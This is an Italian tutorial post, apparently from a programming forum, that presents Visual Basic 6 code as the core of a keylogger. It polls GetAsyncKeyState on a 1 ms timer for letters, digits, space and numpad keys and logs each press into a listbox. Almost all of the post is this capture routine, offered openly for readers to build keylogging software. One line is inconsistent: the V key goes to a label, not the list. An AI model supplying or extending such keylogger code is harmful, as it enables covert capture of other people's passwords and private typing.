Per un keylogger la funzione base é quella di registrare i tasti premuti dall'utente e ora vi posto una semplice funzione che capisce i tasti premuti e li aggiunge in una listbox
-Aggiungere due elementi:una listbox e un timer posizionato a interval 1
-mettere questo codice in un modulo

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 
Const KEYEVENTF_EXTENDEDKEY = &H1 
Const KEYEVENTF_KEYUP = &H2 

-invece questo nel generale del form

Private Sub Timer1_Timer() 
If GetAsyncKeyState(vbKeyA) Then 
List1.AddItem"A"
End If 
If GetAsyncKeyState(vbKeyB) Then 
 List1.AddItem"B"
End If 
If GetAsyncKeyState(vbKeyC) Then 
List1.AddItem"C"
End If 
If GetAsyncKeyState(vbKeyD) Then 
 List1.AddItem "D" 
End If 

If GetAsyncKeyState(vbKeyE) Then 
   List1.AddItem "E" 
End If 

If GetAsyncKeyState(vbKeyF) Then 
   List1.AddItem "F" 
End If 
If GetAsyncKeyState(vbKeyG) Then 
   List1.AddItem "G" 
End If 
If GetAsyncKeyState(vbKeyH) Then 
   List1.AddItem "H" 
End If 
If GetAsyncKeyState(vbKeyI) Then 
   List1.AddItem "I" 
End If 
If GetAsyncKeyState(vbKeyJ) Then 
    List1.AddItem"J" 
End If 
If GetAsyncKeyState(vbKeyK) Then 
   List1.AddItem "K" 
End If 
If GetAsyncKeyState(vbKeyL) Then 
    List1.AddItem"L" 
End If 
If GetAsyncKeyState(vbKeyM) Then 
   List1.AddItem"M" 
End If 
If GetAsyncKeyState(vbKeyN) Then 
  List1.AddItem"N" 
End If 
If GetAsyncKeyState(vbKeyO) Then 
   List1.AddItem "O" 
End If 
If GetAsyncKeyState(vbKeyP) Then 
   List1.AddItem"P" 
End If 
If GetAsyncKeyState(vbKeyQ) Then 
   List1.AddItem "Q" 
   End If 
If GetAsyncKeyState(vbKeyR) Then 
  List1.AddItem "R" 
   End If 
If GetAsyncKeyState(vbKeyS) Then 
   List1.AddItem "S" 
   End If 
If GetAsyncKeyState(vbKeyT) Then 
   List1.AddItem "T" 
   End If 
If GetAsyncKeyState(vbKeyU) Then 
    List1.AddItem"U" 
   End If 
If GetAsyncKeyState(vbKeyV) Then 
   Label1.Caption = Label1.Caption & "V" 
   End If 
If GetAsyncKeyState(vbKeyW) Then 
   List1.AddItem "W" 
   End If 
If GetAsyncKeyState(vbKeyX) Then 
   List1.AddItem "X" 
   End If 
If GetAsyncKeyState(vbKeyY) Then 
   List1.AddItem "Y" 
   End If 
If GetAsyncKeyState(vbKeyZ) Then 
    List1.AddItem"Z" 
   End If 
If GetAsyncKeyState(vbKey1) Then 
   List1.AddItem "1" 
   End If 
If GetAsyncKeyState(vbKey2) Then 
   List1.AddItem "2" 
   End If 
If GetAsyncKeyState(vbKey3) Then 
   List1.AddItem"3" 
   End If 
If GetAsyncKeyState(vbKey4) Then 
    List1.AddItem"4" 
   End If 
If GetAsyncKeyState(vbKey5) Then 
   List1.AddItem"5" 
   End If 
If GetAsyncKeyState(vbKey6) Then 
   List1.AddItem "6" 
   End If 
If GetAsyncKeyState(vbKey7) Then 
   List1.AddItem"7" 
   End If 
If GetAsyncKeyState(vbKey8) Then 
   List1.AddItem "8" 
   End If 
If GetAsyncKeyState(vbKey9) Then 
   List1.AddItem "9" 
   End If 
If GetAsyncKeyState(vbKey0) Then 
   List1.AddItem "0" 
   End If 
If GetAsyncKeyState(vbKeySpace) Then 
   List1.AddItem"spazio" 
   End If 
If GetAsyncKeyState(vbKeyNumpad0) Then 
   List1.AddItem"0" 
   End If 
If GetAsyncKeyState(vbKeyNumpad1) Then 
   List1.AddItem"1" 
   End If 
If GetAsyncKeyState(vbKeyNumpad2) Then 
    List1.AddItem"2" 
   End If 
If GetAsyncKeyState(vbKeyNumpad3) Then 
   List1.AddItem"3" 
   End If 
If GetAsyncKeyState(vbKeyNumpad4) Then 
   List1.AddItem"4" 
   End If 
If GetAsyncKeyState(vbKeyNumpad5) Then 
   List1.AddItem"5" 
   End If 
If GetAsyncKeyState(vbKeyNumpad6) Then 
   List1.AddItem "6" 
   End If 
If GetAsyncKeyState(vbKeyNumpad7) Then 
  List1.AddItem "7" 
   End If 
If GetAsyncKeyState(vbKeyNumpad8) Then 
   List1.AddItem "8" 
   End If 
If GetAsyncKeyState(vbKeyNumpad9) Then 
   List1.AddItem "9" 
   End If